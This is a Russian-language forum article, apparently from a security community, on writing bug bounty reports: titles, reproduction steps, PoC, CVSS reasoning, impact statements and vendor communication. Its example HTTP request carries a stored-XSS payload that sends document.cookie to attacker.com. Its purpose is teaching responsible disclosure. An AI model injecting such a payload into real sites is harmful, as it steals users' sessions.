На Bugcrowd хантер с более чем 130 репортами уровня P1 получил выплаты за три дубликата - не потому что нашёл уязвимость первым, а потому что качество его отчёта, PoC и описание импакта убедили заказчика заплатить повторно. Его слова на Bugcrowd LevelUp: "If you write an excellent report and show good impact, I guarantee that both the triage and customer team will cooperate with you, even if your report is a duplicate""Если ты написал потрясаящий репорт и показал хорошую отдачу, Я гарантирую что обе команды (сортировк и работе с клиентами) будут сотрудничать с тобой, даже если твой репорт дубликат.". Шесть часов на поиск уязвимости, пять минут на отчёт - и деньги остаются на столе. Знакомо?
Место репорта в цепочке bug bounty
В цепочке bug bounty отчёт стоит между подтверждением уязвимости и взаимодействием с вендором: разведка -> обнаружение -> эксплуатация/валидация -> отчёт -> коммуникация -> выплата. Это точка, где техническая находка превращается в документ, по которому принимается решение о деньгах. Всё, что было до - бессмысленно, если триажер не может воспроизвести баг или не понимает его импакт.Русскоязычные материалы по баг-репортам - это на 90% гайды для QA-тестировщиков: жизненные циклы бага в Jira, уровни severity для UI-дефектов, шаблоны из TestIT. С bug bounty у них общего только слово "репорт". Security-отчёт для bug bounty - другой документ с другой аудиторией, другой структурой и совершенно другими ставками.
Структура bug bounty отчёта
Перед написанием - чеклист. По данным YesWeHack, непрочитанный scope - главная причина статуса RTFS (Read The Fine Scope):- Уязвимость в scope программы?
- Тип бага входит в список qualifying vulnerabilities?
- Есть реальный security impact, а не теоретический?
Заголовок: первое впечатление на триажера
Заголовок - первое (и иногда единственное), что читает триажер перед назначением приоритета. Формула: тип уязвимости + затронутый актив + импакт.| Плохой заголовок | Хороший заголовок |
|---|---|
| XSS | Stored XSS в профиле пользователя позволяет захватить сессию администратора на admin.example.com |
| IDOR vulnerability | IDOR в /api/v2/users/{id}/documents - доступ к документам любого пользователя без авторизации |
| SQL injection | SQL Injection (POST) в параметре search на api.example.com - извлечение таблицы users |
| Critical bug on site | Open Redirect через параметр next на auth.example.com ведёт к фишингу учётных данных |
По данным Intigriti, общие заголовки вроде "XSS in app.example.com" не дают триажеру ни быстро оценить severity, ни проверить репорт на дупликаты. Если программа с wildcard scope - имя актива в качестве префикса помогает security-команде сортировать входящий поток.
Описание и контекст уязвимости
Описание - развёрнутая версия заголовка с полной технической детализацией. Правило простое: не предполагайте, что триажер знаком с целевым приложением. По данным Intigriti, человек, читающий ваш отчёт, может быть новым в команде или вообще нетехническим, если компания обрабатывает репорты самостоятельно.Что включить:
- CWE-идентификатор - классификация уязвимости. Указание CWE даёт триажеру мгновенное понимание класса проблемы (по данным YesWeHack, это ускоряет триаж на этапе первичной сортировки).
- Точное расположение - домен, поддомен, эндпоинт, параметр, HTTP-метод.
- Заголовки и данные запроса - все нестандартные HTTP-заголовки, без которых воспроизведение не сработает.
- Информация об окружении - версия браузера, ОС, мобильное устройство, если это влияет на результат.
- Аккаунт и конфигурация - нужен аккаунт с определёнными правами? Укажите это до шагов воспроизведения, а не после.
"Обнаружена Stored XSS (CWE-79) в поле "bio" профиля пользователя на app.example.com. JavaScript-код, введённый в это поле, сохраняется без санитизации и исполняется при просмотре профиля другими пользователями, включая администраторов. Уязвимый эндпоинт: POST /api/v1/profile/update, параметр bio. Пейлоад исполняется в контексте домена app.example.com, что даёт доступ к cookie с флагом HttpOnly=false."
Простой тест: если триажер может воспроизвести баг, прочитав только описание - вы написали достаточно.
Шаги воспроизведения (Steps to Reproduce)
Пишите так, будто человек на другой стороне никогда не открывал целевое приложение. Одна строка - одно действие. Предусловия - отдельным блоком до шагов.Предусловия: аккаунт с ролью "user" (регистрация на example.com/register).
- Авторизуйтесь под пользователем A.
- Перейдите в Settings, откройте вкладку Profile.
- В поле "Bio" введите пейлоад (указан в PoC).
- Нажмите Save.
- Выйдите из аккаунта A. Авторизуйтесь под аккаунтом администратора.
- Перейдите на страницу профиля пользователя A.
- Наблюдайте исполнение JavaScript в контексте браузера администратора.
Фактический результат: JavaScript-код исполняется при просмотре профиля.
Если используете Burp Suite - приложите raw HTTP-запрос. Триажеру достаточно скопировать его в Repeater, подставить свой cookie и нажать Send:
HTTP:
POST /api/v1/profile/update HTTP/1.1
Host: app.example.com
Content-Type: application/json
Cookie: session=<ваш_токен>
Connection: close
{"bio":"<script>fetch('https://attacker.com/log?c='+document.cookie)</script>"}
PoC для bug bounty: доказательство, а не заявление
Proof of Concept - не опциональное дополнение. Без рабочего PoC репорт - заявление без доказательств. По данным Intigriti, нерабочие PoC - боль триажеров: воспроизвести не могут, репорт уходит в "N/A".Что делает PoC рабочим:
Воспроизводимость. Триажер получает тот же результат при повторении ваших шагов в чистом окружении. Пейлоад срабатывает только в Firefox? Укажите это явно, до шагов воспроизведения, а не после.
Минимальность. PoC демонстрирует уязвимость без деструктивной эксплуатации. Для XSS -
alert(document.domain) или fetch на ваш сервер с cookie, но не реальная кража данных. Для SQL Injection - version() или имя текущей базы, а не дамп production-таблиц. Тут грань тонкая - перешагнёте, и вместо bounty получите юридические проблемы.Визуальные доказательства. Скриншоты каждого шага с выделением ключевых элементов (пейлоад, ответ сервера, изменённые данные). Видеозапись полной цепочки эксплуатации - особенно для сложных уязвимостей вроде race condition или business logic. По данным Intigriti, видео-PoC экономит время триажера и помогает при передаче отчёта нетехническим сотрудникам.
Все зависимости. Для XXE - включите DTD-файл. Для SSRF - покажите логи DNS/HTTP с вашего сервера. Для SQLi с
sqlmap - укажите полную команду, включая --dbms и --test-filter, чтобы триажер не ждал полный перебор.Для wildcard scope: докажите, что уязвимый актив принадлежит компании. WHOIS-данные, SSL-сертификат, привязка IP-адреса к организации. По данным Bugcrowd, без доказательства ownership репорт могут закрыть. Один из топ-хантеров платформы рассказывал, что при находке P1 на домене в рамках wildcard-программы заказчик вообще не знал о существовании этого домена и запросил полные шаги разведки для внутреннего расследования.
Отдельный нюанс: если один баг найден на нескольких поддоменах - подавайте один репорт, а не пять. Self-duplicate на Bugcrowd снижает репутацию. Не жадничайте.
CVSS оценка уязвимости: как обосновать severity
Большинство bug bounty программ используют CVSS 3.1 для привязки severity к размеру выплаты. Правильная самооценка - не формальность, а аргумент в переговорах о bounty.
Типичная ошибка новичка - завысить severity, рассчитывая на большую сумму. Security-команда замечает overrating, теряет доверие и занижает оценку - не только текущую, но и в будущих отчётах от того же хантера. Обратная ошибка - недооценить реальный импакт и получить выплату ниже, чем находка заслуживает. Обе ошибки стоят денег.
Привязка к OWASP Top 10 (2021) усиливает аргументацию. Ссылайтесь на конкретные категории:
| Тип уязвимости | Категория OWASP Top 10 (2021) | Типичный CVSS-диапазон |
|---|---|---|
| IDOR с доступом к чужим данным | A01 - Broken Access Control | 6.5-8.6 |
| SQL Injection с извлечением данных | A03 - Injection | 7.5-9.8 |
| Хранение паролей в plaintext | A02 - Cryptographic Failures | 5.3-7.5 |
| Stored XSS с захватом сессии | A03 - Injection | 6.1-8.0 |
Пример CVSS-аргументации для IDOR с доступом к документам:
"CVSS 3.1 Base Score: 7.5 (High). Вектор: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. Обоснование: атака выполняется через сеть (AV:N), не требует специальных условий (AC:L), нужна обычная учётная запись (PR:L), взаимодействие жертвы не требуется (UI:N), конфиденциальность нарушена полностью (C:H) - злоумышленник получает доступ к документам любого пользователя, включая NDA и финансовую отчётность."
Разбор каждого компонента вектора показывает триажеру, что вы понимаете методологию, а не просто выкрутили максимальные ползунки в калькуляторе на NVD.
Impact Statement - что отличает выплату от Informative
По данным Intigriti, большинство репортов, закрытых как "Informative" или "Not Applicable", не содержат внятного описания импакта. Триажер видит XSS - но не понимает, что конкретно злоумышленник может с ней сделать в контексте этого приложения.Плохой impact: "Злоумышленник может выполнить произвольный JavaScript-код."
Это ни о чём. Хороший impact: "Stored XSS в профиле позволяет разместить пейлоад, который сработает при просмотре профиля администратором. Это открывает:
- кражу сессионного cookie администратора (HttpOnly=false)
- выполнение действий от имени администратора через API (создание пользователей, изменение настроек биллинга)
- доступ к PII пользователей через эндпоинт /admin/users/export. Затронуты все зарегистрированные пользователи платформы."
Формула Impact Statement:
- Реалистичный сценарий атаки - как конкретно злоумышленник эксплуатирует уязвимость.
- Масштаб ущерба - какие данные или функции под угрозой.
- Количество затронутых пользователей - если возможно оценить.
- Ожидаемое поведение - что приложение должно делать вместо наблюдаемого. Для IDOR и business logic это критично, потому что "правильное" поведение неочевидно.
Коммуникация с вендором bug bounty: от отправки до disclosure
Отчёт отправлен. Фаза коммуникации определяет не только текущую выплату, но и долгосрочную репутацию на платформе.Профессиональный тон. По данным Intigriti, непрофессиональная коммуникация - причина исключения хантеров из приватных программ. "Здравствуйте", "спасибо", "с уважением" - минимум. Триажеры - люди с ограниченным временем, а не ваши оппоненты. Я видел, как хантеры начинали ругаться после первого же запроса на уточнение - и теряли доступ к программам, где платят $10K+ за P1.
Правило двух недель. Нет ответа - один вежливый ping через 14 дней. Не чаще. Один из топ-хантеров на Bugcrowd ждал год до фикса и получил $2500 - терпение в bug bounty буквально монетизируется.
Дополнительный контекст. Обнаружили деталь после отправки? Добавьте комментарий к репорту. По данным Bugcrowd, мелкая деталь - например, изменение в приложении за пару дней до подачи - может быть ключом к воспроизведению. Был случай: разработчик не мог воспроизвести P1, хантер добавил одну строку - и всё заработало.
Рекомендации по исправлению (Remediation). По данным YesWeHack, remediation не обязателен, но ценится. Для сложных уязвимостей - web cache poisoning, HTTP request smuggling, business logic - фикс неочевиден, и ваш совет ускоряет исправление. Некоторые программы выдают бонус за remediation-раздел.
Не спамьте. Репорт закрыт как Informative - не пересылайте его без новой информации. Решение ошибочно? Запросите медиацию через платформу. HackerOne, Bugcrowd и Intigriti предоставляют процесс разрешения споров.
Responsible disclosure. Репорт может быть публично раскрыт. Скройте персональные данные на скриншотах, не включайте реальные учётные данные пользователей. Это часть профессионализма и требование большинства программ.
Ошибки, которые убивают валидные репорты
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
References отсутствуют. Ссылки на OWASP, CWE, раскрытые аналогичные репорты, публичные advisories - всё, что подтверждает критичность класса уязвимости и помогает security-команде понять контекст. Пять минут работы, а впечатление подготовленного специалиста.
Я потратил полтора года на то, чтобы перестать терять деньги на плохих отчётах. Первый год в bug bounty - шесть дней в неделю на поиск, пять минут на отчёт. Результат: три Informative подряд на валидных IDOR, потому что триажер не смог воспроизвести без контекста, который казался мне очевидным. Потом один репорт, написанный по всем правилам - с CVSS-вектором, пошаговыми steps, видео-PoC и реалистичным impact - принёс в три раза больше, чем предыдущие четыре находки вместе взятые. Хантеры воспринимают репорт как формальность после "настоящей работы", а на практике репорт и есть продукт, который вы продаёте. Уязвимость без репорта не существует для security-команды. Триажеры запоминают хантеров по качеству: через десяток хорошо написанных отчётов ваши репорты начинают триажить быстрее, спорные severity решаются в вашу пользу, приглашения в приватные программы приходят чаще. Это нигде не задокументировано, но работает именно так - инвестиция в качество отчёта есть инвестиция в карьеру. Если хочется отработать поиск уязвимостей, по которым потом стоит писать качественный репорт - лабы на HackerLab.pro (https://hackerlab.pro) дают практику на стендах без последствий для чужой инфраструктуры.
Последнее редактирование модератором: